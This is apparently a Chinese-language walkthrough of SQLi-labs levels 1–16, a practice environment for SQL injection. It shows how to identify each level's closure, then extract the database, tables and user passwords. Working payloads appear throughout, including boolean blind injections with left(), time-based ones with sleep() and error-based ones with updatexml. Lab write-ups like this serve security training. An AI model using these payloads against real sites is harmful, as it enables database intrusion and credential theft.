目录
第一关
根据页面提示尝试输入id寻找是否存在注入点
尝试发现单引号时报错,但是两个单引号时成功返回,判断出存在sql注入漏洞
尝试判断页面输出列数
输入3时输出正常,输入4时报错,成功判断页面回显三行
查看回显位置,发现2,3有回显,可利用2,3处输出信息
查询到数据库名为security
查询该数据库下的表名
查看有用的表例如users表
发现表中有username和password列,搜索信息
成功爆破出用户信息
第二关
尝试加入单引号闭合发现返回错误,错误点在单引号附近
尝试再加入一个单引号闭合,发现报错仍在引号处,猜测可能语句中不存在引号
去除单引号,尝试直接判断列数,输入3时返回值正确,输入4时报错,判断页面有三行回显
判断出回显位置为2,3
查看该数据库名
查询数据库下表名
查看users表中的列
导出users表中的username和password信息
第三关
注入一个单引号发现报错中有一个括号
猜测可能有括号闭合,尝试注入
发现order by为3时回显正确为4时报错,确定页面回显有三行
然后就正常注入就可以了
查看表
查看列
查看字段
第四关
尝试单引号闭合发现一直回显正确
尝试其他闭合方法,使用双引号闭合时返回了报错
根据报错判断可能为双引号加括号闭合,通过sleep函数发现注入成功
接下来就开始开心注入
判断回显位
爆数据库
爆表
爆users字段
第五关
发现输入正确时一直返回you are in
但是在尝试了几次之后发现页面可以返回报错信息
尝试一下报错注入,发现报错输出了数据库信息,接下来就开心下一步
爆表
爆字段,诶现在发现好像没有完全显示,group_concat函数不太够用,还是使用limit函数
group_concat
limit函数,一个一个换limit值有些枯燥,也可以使用python脚本
爆数据 同样我们可以用limit也可以用脚本
第六关
这关我们发现输入双引号页面报错,判断闭合为双引号
直接爆数据库尝试
爆表
爆字段
爆数据
第七关
在尝试后发现,页面只返回语法错误无详细信息,先判断闭合方式
输入单引号时报错,使用--+注释掉后面语句依然报错,说面前面还存在其他闭合方式
尝试再闭合一个双引号也报错,考虑是否为括号闭合
尝试两次后发现回显正确,判断闭合方式为 ‘))
因为没有详细报错信息,所以只能考虑盲注,使用sleep函数发现执行成功
尝试boolean盲注
先判断数据库名称为多少位,当length(database())=7时报错等于8时返回正确
判断出数据库名为八位
接下来就是去爆破数据库名,使用left(database(),1)=’a’的方法判断每一位数字
(猜测正确时页面法案会成功,猜测失败时返回错误)
太繁琐了还是写个脚本跑吧
爆数据库:
http://sqllabs/Less-7/?id=1')) and left((select database() limit 1,1),1)='a' --+
爆表: :
http://sqllabs/Less-7/?id=1')) and left((select table_name from information_schema.tables where table_schema='security' limit 1,1),1)='a' --+
爆字段:
http://sqllabs/Less-7/?id=1')) and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)='a' --+
爆数据
账户:
http://sqllabs/Less-7/?id=1')) and left((select username from users limit 1,1 ),1)='a'--+
密码 :
http://sqllabs/Less-7/?id=1')) and left((select password from users limit 1,1 ),1)='a'--+
第八关
发现单引号闭合时页面无回显,两个单引号时回显正常,判断以单引号闭合
注释掉后面后发现回显正常,确定是单引号注入,也没有回显只能靠盲注
接下来就和上一题一样
爆表
爆字段
爆信息
第九关
无论怎样回显you are in 尝试时间盲注判断闭合方式,发现为单引号闭合
判断数据库名长度
?id=1'and if(length((select database()))>6,sleep(5),1)--+
逐一判断数据库名
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
判断表名长度
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
逐个判断字符
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
第十关
通过sleep函数判断闭合方式为双引号闭合
判断出闭合方式后就和上一题一样开始爆破,只需要把上一题的单引号改为双引号就行
第十一关
这次直接在登录框中进行尝试,输入2’闭合时爆错,判断为单引号闭合
构造一个语句丢上去看回显,发现成功注出信息
从页面上看有两个回显点,注入判断一下
判断出确实有两个回显点,判断一下回显位置
ok接下来就和之前一样,修改一下注释方式就好(get请求为--+ post请求为#)
爆字段
第十二关
测试闭合方式时发现输入双引号时报错,报错回显中有一个括号,再用括号闭合一下试试
测试出闭合方式以后就继续判断回显和回显点
输入三报错二不报错说明有两个回显点
判断回显位置
接下来就是一条龙搜索
第十三关
测试闭合单引号时发现报错,根据报错判断还有括号闭合
成功判断闭合方式
构造一个恒成立语句发现页面无返回正确信息
尝试一下报错注入
1') and (select updatexml(1,concat(1,(select database())),1)) #
接下来就用报错注入进行后续操作
爆表 1') and (select updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)) #
爆字段1') and (select updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)) #
页面回显不完全,使用limit函数
1') and (select updatexml(1,concat(1,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)) #
1') and (select updatexml(1,concat(1,(select username from users limit 0,1)),1)) #
第十四关
输入双引号报错,判断闭合为双引号
构造一个恒成立语句发现页面无返回正确信息
尝试报错注入
注入成功剩下和上一题基本相同
第十五关
与第七第八关类似,只不过注入点从url处到了登录框中,采用Boolean盲注的方式逐个字节判断数据库名,表名,字段名
成功时返回
失败时返回
尝试即可
第十六关
判断了几种闭合方式后发现为双引号和括号闭合
接下来步骤与十五题相同